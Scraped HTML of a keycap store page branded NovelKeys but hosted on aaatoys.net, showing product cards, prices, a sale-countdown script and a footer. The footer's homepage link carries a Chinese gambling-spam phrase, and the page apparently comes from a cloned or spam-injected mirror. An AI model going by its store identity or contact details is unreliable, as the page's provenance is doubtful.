color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> ABS Double-Shot Keycaps /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7330291613863 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-7330291613863 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7330291613863 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7330291613863 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7330291613863 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div stylebackground-color: #49a339; color: #ffffff classproduct-tag aria-hiddentrue>CLEARANCE !-- strike> $85.00/strike> !-->/div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefcherry-ember.html> span classvisually-hidden>Cherry Ember/span> /a> img style idProductCardImage-featured-collections-7330291613863 classgrid-view-item__image lazyload srcimages/nk_ember_16x9_tile_800x8008523.jpg?v1651503885 data-srcnk_ember_16x9_tile_%7bwidth%7dx8523.html?v1651503885 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcnk_ember_16x9_tile_%7bwidth%7dx8523.html?v1651503885 altCherry Ember > /noscript> /div> a hrefcherry-ember.html> span classvisually-hidden>Cherry Ember/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CHERRY EMBER /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> PBT Dyesub Keycaps /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> strike stylecolor: #999999> $85/strike> span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> $15 /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CHERRY EMBER /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> strike stylecolor: #999999> $85/strike> /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> PBT Dyesub Keycaps /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> $15 /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7725532414119 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-7725532414119 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7725532414119 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7725532414119 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7725532414119 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div stylebackground-color: #ffbb00; color: #000000 classproduct-tag> LIMITED DROP /div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefpyramid.html> span classvisually-hidden>Pyramid/span> /a> img style idProductCardImage-featured-collections-7725532414119 classgrid-view-item__image lazyload srcimages/dbrand_pr_neo_tile_800x8007260.jpg?v1699640606 data-srcdbrand_pr_neo_tile_%7bwidth%7dx7260.html?v1699640606 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcdbrand_pr_neo_tile_%7bwidth%7dx7260.html?v1699640606 altPyramid > /noscript> /div> a hrefpyramid.html> span classvisually-hidden>Pyramid/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> PYRAMID /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> 1u Aluminum Keycap /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $60 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> PYRAMID /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $60 /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> 1u Aluminum Keycap /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7725592412327 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-7725592412327 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7725592412327 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7725592412327 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7725592412327 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div stylebackground-color: #ffbb00; color: #000000 classproduct-tag> LIMITED DROP /div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefeff-off.html> span classvisually-hidden>F*** Off/span> /a> img style idProductCardImage-featured-collections-7725592412327 classgrid-view-item__image lazyload srcimages/dbrand_fk_neo_tile_blur_800x800f423.jpg?v1699640696 data-srcdbrand_fk_neo_tile_blur_%7bwidth%7dxf423.html?v1699640696 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcdbrand_fk_neo_tile_blur_%7bwidth%7dxf423.html?v1699640696 altF*** Off > /noscript> /div> a hrefeff-off.html> span classvisually-hidden>F*** Off/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> F*** OFF /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> R3 2.25u Aluminum Keycap /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $40 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> F*** OFF /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $40 /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> R3 2.25u Aluminum Keycap /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7287443521703 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-7287443521703 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7287443521703 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7287443521703 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7287443521703 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div stylebackground-color: #49a339; color: #ffffff classproduct-tag aria-hiddentrue>CLEARANCE !-- strike> $85.00/strike> !-->/div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefcherry-blossom.html> span classvisually-hidden>Cherry Blossom/span> /a> img style idProductCardImage-featured-collections-7287443521703 classgrid-view-item__image lazyload srcimages/nk_blossom_16x9_tile_800x800c4ae.jpg?v1648474580 data-srcnk_blossom_16x9_tile_%7bwidth%7dxc4ae.html?v1648474580 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcnk_blossom_16x9_tile_%7bwidth%7dxc4ae.html?v1648474580 altCherry Blossom > /noscript> /div> a hrefcherry-blossom.html> span classvisually-hidden>Cherry Blossom/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CHERRY BLOSSOM /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> PBT Dyesub Keycaps /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> strike stylecolor: #999999> $85/strike> span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> $15 /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CHERRY BLOSSOM /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> strike stylecolor: #999999> $85/strike> /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> PBT Dyesub Keycaps /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> $15 /span> /div>-->/div> /div> /div> /div>script> var flashSaleElements document.getElementsByClassName(flash-sale); for(let i 0; i flashSaleElements.length; i++) { console.log(flashSaleElementsi); let element flashSaleElementsi; let saleOverrideText element.getAttribute(data-sale-override); if(saleOverrideText ! && saleOverrideText !   && false) { element.innerHTML `SALE ENDS: ${saleOverrideText}`; } else { getTimeRemaining(element); setInterval(function(){ getTimeRemaining(element) }, 1000); } } function getTimeRemaining(element) { var d new Date(); var localTime d.getTime(); var localOffset d.getTimezoneOffset() * 60000; var utcNow localTime + localOffset; var localTimeEndDate new Date(element.getAttribute(data-sale-end)); var saleEndDate Date.UTC(localTimeEndDate.getUTCFullYear(), localTimeEndDate.getUTCMonth(), localTimeEndDate.getUTCDate(), localTimeEndDate.getUTCHours(), localTimeEndDate.getUTCMinutes()); console.log(`${saleEndDate} | ${utcNow}`); //var now new Date().getTime(); //var saleEndDate new Date(element.getAttribute(data-sale-end)).getTime(); var seconds (saleEndDate - utcNow)/1000; var minutes Math.ceil(seconds / 60); var hours Math.floor(minutes / 60); minutes minutes % 60; seconds Math.floor(seconds % 60 % 60); //element.innerHTML `${hours}h ${minutes}m`; element.innerHTML `${hours}h ${minutes}m ${seconds}s`; } /script>/div>!-- END content_for_index --> /main> div idshopify-section-footer classshopify-section>footer stylemargin-top: 150px; classcard-image-shadow-light site-footer rolecontentinfo> div classpage-width> div classsite-footer__content> div classgrid grid--uniform grid--view-items one-whole> div classgrid__item one-quarter small--hide> a stylemargin-left: -4px; hrefindex.html stylemargin-top: -10px; classfooter-title> ?xml version1.0 encodingutf-8?> !-- Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> svg version1.1 idNovelKeys-Logo xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink x0px y0px viewBox0 0 1407 248 styleenable-background:new 0 0 1407 248; max-width: 200px; fill: #ffffff xml:spacepreserve> g> g> path dM1315.88,241.38c-3.68,0-6.98-0.83-9.88-2.51c-2.91-1.68-5.17-3.96-6.8-6.85c-1.62-2.89-2.43-6.09-2.43-9.61 c0-3.79,0.84-7.14,2.51-10.07c1.68-2.92,3.98-5.19,6.9-6.79s6.21-2.41,9.86-2.41c3.41,0,6.57,0.79,9.46,2.36 c2.89,1.57,5.2,3.81,6.92,6.72c1.72,2.91,2.58,6.26,2.58,10.05c0,3.72-0.84,7.03-2.53,9.94c-1.69,2.91-3.99,5.16-6.9,6.76 S1319.44,241.38,1315.88,241.38z M1329.22,222.52c0-2.81-0.56-5.34-1.7-7.58c-1.13-2.25-2.72-4.01-4.77-5.3 c-2.05-1.29-4.39-1.93-7.03-1.93c-2.4,0-4.61,0.63-6.62,1.88c-2.01,1.25-3.61,2.96-4.79,5.15c-1.18,2.18-1.77,4.64-1.77,7.38 c0,2.81,0.58,5.32,1.72,7.55s2.74,3.98,4.77,5.25c2.03,1.27,4.31,1.9,6.84,1.9c2.44,0,4.67-0.61,6.69-1.85 c2.03-1.23,3.65-2.94,4.84-5.12C1328.62,227.67,1329.22,225.23,1329.22,222.52z M1323.69,230.38c0,0.51-0.22,0.94-0.66,1.3 c-0.44,0.35-0.94,0.54-1.52,0.54c-0.51,0-0.94-0.11-1.3-0.31c-0.35-0.2-0.73-0.56-1.14-1.06c-0.4-0.51-1.05-1.42-1.92-2.74 l-2.94-4.16h-1.32v6.04c0,0.68-0.22,1.22-0.65,1.62c-0.44,0.41-0.99,0.61-1.63,0.61s-1.18-0.21-1.62-0.63 c-0.44-0.42-0.66-0.97-0.66-1.65V214.2c0-0.64,0.23-1.16,0.68-1.57c0.46-0.41,0.99-0.61,1.6-0.61h6.65c2.46,0,4.27,0.49,5.43,1.46 c1.15,0.99,1.72,2.54,1.72,4.67c0,1.63-0.44,2.97-1.32,4.03c-0.88,1.06-2.01,1.65-3.39,1.75l3.29,4.41 C1323.46,228.99,1323.69,229.67,1323.69,230.38z M1319.53,217.96c0-1.52-0.88-2.28-2.63-2.28h-4.01v4.62h4.01 c0.87,0,1.53-0.19,1.97-0.56C1319.32,219.36,1319.53,218.77,1319.53,217.96z/> /g> g> g> path dM31,36.57c0-16.31,8.16-23.24,24.87-23.24c8.16,0,15.49,3.26,19.98,10.19l69.32,111.72h0.41V32.5 c0-12.64,7.34-19.16,19.16-19.16s19.16,6.12,19.16,19.16v136.19c0,15.49-6.93,24.47-23.24,24.47c-12.64,0-16.72-2.85-21.61-10.6 L69.74,74.09h-0.41v100.31c0,12.64-7.34,19.16-19.16,19.16S31,187.44,31,174.39L31,36.57z/> path dM264.24,61.04c42.41,0,65.24,28.95,65.24,66.06c0,35.07-17.13,66.46-65.24,66.46s-65.24-30.99-65.24-66.46 C198.99,89.99,221.42,61.04,264.24,61.04z M264.24,167.46c20.8,0,29.77-18.76,29.77-40.37c0-22.83-9.38-39.96-29.77-39.96 s-29.77,17.13-29.77,39.96C234.06,148.3,243.03,167.46,264.24,167.46z/> path dM331.52,87.95c-0.82-2.85-2.04-6.93-2.04-8.97c0-12.64,8.56-18.35,17.13-18.35c13.46,0,16.72,11.01,17.53,14.68 l23.65,79.51h0.41l23.65-79.51c0.82-3.67,4.49-14.68,17.53-14.68c8.56,0,17.13,5.71,17.13,18.35c0,2.04-1.22,6.12-2.04,8.97 l-33.44,92.56c-3.26,9.38-5.71,12.64-23.24,12.64s-19.98-3.26-23.24-12.64L331.52,87.95z/> path dM481.57,133.62c0,18.76,12.23,32.21,32.62,32.21c26.5,0,26.5-17.53,40.78-17.53c8.56,0,14.68,7.34,14.68,13.86 c0,21.2-33.84,30.99-55.05,30.99c-49.34,0-67.69-33.44-67.69-64.02c0-41.18,24.87-68.5,66.46-68.5 c40.37,0,63.61,28.54,63.61,57.49c0,12.23-3.67,15.09-15.49,15.09h-79.92V133.62z M543.55,113.64 c-2.04-16.31-13.86-28.14-29.77-28.14c-17.53,0-28.14,11.01-32.21,28.14H543.55z/> path dM592.07,30.86c0-11.42,6.93-17.53,17.53-17.53c10.6,0,17.53,6.12,17.53,17.53v144.75c0,11.42-6.93,17.53-17.53,17.53 c-10.6,0-17.53-6.12-17.53-17.53V30.86z/> path dM651.2,33.31c0-11.82,8.56-19.98,20.8-19.98c12.23,0,19.98,8.16,19.98,19.98V90.8l62.39-68.5 c4.49-4.89,8.56-8.56,15.49-8.56c9.38,0,18.76,5.71,18.76,15.9c0,6.12-3.26,10.19-6.52,13.46l-40.37,42.81l47.3,72.58 c3.67,5.71,7.34,10.6,7.34,15.49c0,14.68-11.01,19.16-20.39,19.16c-8.16,0-12.23-2.04-17.53-10.19l-45.67-70.54l-21.61,21.61 v39.14c0,11.82-7.75,19.98-19.98,19.98c-12.23,0-19.98-8.16-19.98-19.98V33.31L651.2,33.31z/> path dM831.83,133.62c0,18.76,12.23,32.21,32.62,32.21c26.5,0,26.5-17.53,40.78-17.53c8.56,0,14.27,7.34,14.27,13.86 c0,21.2-33.84,30.99-55.05,30.99c-49.34,0-67.69-33.44-67.69-64.02c0-41.18,24.87-68.5,66.46-68.5 c40.37,0,63.61,28.54,63.61,57.49c0,12.23-3.67,15.09-15.49,15.09h-79.51V133.62z M893.81,113.64 c-2.04-16.31-13.86-28.14-29.77-28.14c-17.53,0-28.14,11.01-32.21,28.14H893.81z/> path dM986.37,156.45h0.41l21.61-79.92c2.45-8.97,7.34-15.49,16.72-15.49c13.86,0,17.94,11.42,17.94,15.9 c0,2.85-0.82,6.52-2.85,11.01l-40.78,115.39c-8.56,24.06-17.94,36.7-40.37,36.7c-15.49,0-22.02-7.75-22.02-16.31 c0-9.38,6.93-14.27,16.31-14.27h3.67c4.49,0,9.79-0.41,12.23-11.01l-36.7-104.39c-2.85-8.56-4.49-12.23-4.49-16.31 c0-9.79,7.75-16.72,17.13-16.72c9.38,0,15.9,5.3,17.94,13.46L986.37,156.45z/> path dM1100.13,61.04c26.91,0,53.82,10.6,53.82,26.91c0,8.16-5.71,15.49-14.68,15.49c-13.86,0-14.27-16.31-36.29-16.31 c-12.23,0-20.39,3.26-20.39,11.01c0,8.16,8.16,10.19,18.76,12.64l14.68,3.26c19.98,4.49,44.04,13.05,44.04,37.51 c0,28.54-27.73,42-54.23,42c-31.8,0-58.31-14.27-58.31-31.8c0-7.75,4.49-14.68,14.27-14.68c15.09,0,16.72,21.61,42.81,21.61 c12.64,0,20.39-5.71,20.39-12.64c0-8.97-7.75-10.19-20.39-13.46l-20.8-4.89c-20.39-4.89-36.29-13.46-36.29-37.11 C1047.12,71.64,1075.67,61.04,1100.13,61.04z/> /g> path dM1326.03,194.37h-140.27c-4.89,0-8.97-4.08-8.97-8.97l0,0c0-4.89,4.08-8.97,8.97-8.97h140.27c4.89,0,8.97,4.08,8.97,8.97 l0,0C1335,190.3,1330.92,194.37,1326.03,194.37z/> /g> /g> /svg> /a> div classalt-text site-footer__link> 181 Walnut St. br> Morgantown, West Virginia br> United States /div> a hrefmailto:heythere@aaatoys.net class site-footer__link footer-email> heythere@aaatoys.net /a> div stylegap: 25px; classtwo-column-grid> a target_blank hrefterms-of-service7038.html?localeen class site-footer__link site-footer__policy> Terms of Service /a> a target_blank hrefrefund-policy7038.html?localeen class site-footer__link site-footer__policy> Refund Policy /a> /div> div stylefont-size: 16px; padding-top: 5%; classalt-text site-footer__link> © 2021 a hrefindex.html titleaaatoys.net homepage>168极速赛车开奖结果查询/a> NovelKeys LLC. All rights reserved. /div> button style idnight-mode-toggle classbtn--secondary>Dark Mode/button> /div> div classgrid__item medium-up--one-quarter> div classfooter-title> INFORMATION /div> div class site-footer__link> a hrefabout-us.html> About Us /a> /div> div class site-footer__link> a hrefproduct-updates.html> Product Updates /a> /div> div class site-footer__link> a hrefreturns.html> Initiate a Return /a> /div> div class site-footer__link> a hrefhowto.html> How To /a> /div> div class site-footer__link> a hrefsupport.html> FAQ /a> /div> div class site-footer__link> a hrefclearance.html> Clearance /a> /div> /div> div classgrid__item medium-up--one-quarter small--hide> div classfooter-title> FOLLOW US! /div> div stylepadding: 0px; classgrid__item one-whole>ul classlist--inline site-footer__social-icons social-icons site-footer__icon-list>li> a classsocial-icons__link hrefhttps://facebook.com/novelkeys aria-describedbya11y-external-message>svg aria-hiddentrue focusablefalse rolepresentation classicon icon-facebook viewBox0 0 20 20>path fill#444 dM18.05.811q.439 0 .744.305t.305.744v16.637q0 .439-.305.744t-.744.305h-4.732v-7.221h2.415l.342-2.854h-2.757v-1.83q0-.659.293-1t1.073-.342h1.488V3.762q-.976-.098-2.171-.098-1.634 0-2.635.964t-1 2.72V9.47H7.951v2.854h2.415v7.221H1.413q-.439 0-.744-.305t-.305-.744V1.859q0-.439.305-.744T1.413.81H18.05z/>/svg>span classicon__fallback-text>Facebook/span> /a> /li>li> a classsocial-icons__link hrefhttps://twitter.com/NovelKeys aria-describedbya11y-external-message>svg aria-hiddentrue focusablefalse rolepresentation classicon icon-twitter viewBox0 0 20 20>path fill#444 dM19.551 4.208q-.815 1.202-1.956 2.038 0 .082.02.255t.02.255q0 1.589-.469 3.179t-1.426 3.036-2.272 2.567-3.158 1.793-3.963.672q-3.301 0-6.031-1.773.571.041.937.041 2.751 0 4.911-1.671-1.284-.02-2.292-.784T2.456 11.85q.346.082.754.082.55 0 1.039-.163-1.365-.285-2.262-1.365T1.09 7.918v-.041q.774.408 1.773.448-.795-.53-1.263-1.396t-.469-1.864q0-1.019.509-1.997 1.487 1.854 3.596 2.924T9.81 7.184q-.143-.509-.143-.897 0-1.63 1.161-2.781t2.832-1.151q.815 0 1.569.326t1.284.917q1.345-.265 2.506-.958-.428 1.386-1.732 2.18 1.243-.163 2.262-.611z/>/svg>span classicon__fallback-text>Twitter/span> /a> /li>li> a classsocial-icons__link hrefhttps://instagram.com/novel.keys aria-describedbya11y-external-message>svg aria-hiddentrue focusablefalse rolepresentation classicon icon-instagram viewBox0 0 512 512>path dM256 49.5c67.3 0 75.2.3 101.8 1.5 24.6 1.1 37.9 5.2 46.8 8.7 11.8 4.6 20.2 10 29 18.8s14.3 17.2 18.8 29c3.4 8.9 7.6 22.2 8.7 46.8 1.2 26.6 1.5 34.5 1.5 101.8s-.3 75.2-1.5 101.8c-1.1 24.6-5.2 37.9-8.7 46.8-4.6 11.8-10 20.2-18.8 29s-17.2 14.3-29 18.8c-8.9 3.4-22.2 7.6-46.8 8.7-26.6 1.2-34.5 1.5-101.8 1.5s-75.2-.3-101.8-1.5c-24.6-1.1-37.9-5.2-46.8-8.7-11.8-4.6-20.2-10-29-18.8s-14.3-17.2-18.8-29c-3.4-8.9-7.6-22.2-8.7-46.8-1.2-26.6-1.5-34.5-1.5-101.8s.3-75.2 1.5-101.8c1.1-24.6 5.2-37.9 8.7-46.8 4.6-11.8 10-20.2 18.8-29s17.2-14.3 29-18.8c8.9-3.4 22.2-7.6 46.8-8.7 26.6-1.3 34.5-1.5 101.8-1.5m0-45.4c-68.4 0-77 .3-103.9 1.5C125.3 6.8 107 11.1 91 17.3c-16.6 6.4-30.6 15.1-44.6 29.1-14 14-22.6 28.1-29.1 44.6-6.2 16-10.5 34.3-11.7 61.2C4.4 179 4.1 187.6 4.1 256s.3 77 1.5 103.9c1.2 26.8 5.5 45.1 11.7 61.2 6.4 16.6 15.1 30.6 29.1 44.6 14 14 28.1 22.6 44.6 29.1 16 6.2 34.3 10.5 61.2 11.7 26.9 1.2 35.4 1.5 103.9 1.5s77-.3 103.9-1.5c26.8-1.2 45.1-5.5 61.2-11.7 16.6-6.4 30.6-15.1 44.6-29.1 14-14 22.6-28.1 29.1-44.6 6.2-16 10.5-34.3 11.7-61.2 1.2-26.9 1.5-35.4 1.5-103.9s-.3-77-1.5-103.9c-1.2-26.8-5.5-45.1-11.7-61.2-6.4-16.6-15.1-30.6-29.1-44.6-14-14-28.1-22.6-44.6-29.1-16-6.2-34.3-10.5-61.2-11.7-27-1.1-35.6-1.4-104-1.4z/>path dM256 126.6c-71.4 0-129.4 57.9-129.4 129.4s58 129.4 129.4 129.4 129.4-58 129.4-129.4-58-129.4-129.4-129.4zm0 213.4c-46.4 0-84-37.6-84-84s37.6-84 84-84 84 37.6 84 84-37.6 84-84 84z/>circle cx390.5 cy121.5 r30.2/>/svg>span classicon__fallback-text>Instagram/span> /a> /li>/ul> ul classlist--inline site-footer__social-icons social-icons site-footer__icon-list>li> a classsocial-icons__link hrefhttps://www.youtube.com/c/NovelKeys aria-describedbya11y-external-message>svg aria-hiddentrue focusablefalse rolepresentation classicon icon-youtube viewBox0 0 21 20>path fill#444 dM-.196 15.803q0 1.23.812 2.092t1.977.861h14.946q1.165 0 1.977-.861t.812-2.092V3.909q0-1.23-.82-2.116T17.539.907H2.593q-1.148 0-1.969.886t-.82 2.116v11.894zm7.465-2.149V6.058q0-.115.066-.18.049-.016.082-.016l.082.016 7.153 3.806q.066.066.066.164 0 .066-.066.131l-7.153 3.806q-.033.033-.066.033-.066 0-.098-.033-.066-.066-.066-.131z/>/svg>span classicon__fallback-text>YouTube/span> /a> /li>li styleheight: 25px> a classsocial-icons__link hrefhttps://www.tiktok.com/@novelkeys aria-describedbya11y-external-message>!-- Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In -->svg version1.1 xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink x0px y0px width447.9px height511.9px viewBox0 0 447.9 511.9 stylefill: var(--color_text); height: 25px; width: 25px; overflow:visible;enable-background:new 0 0 447.9 511.9; xml:spacepreserve>defs>/defs>path 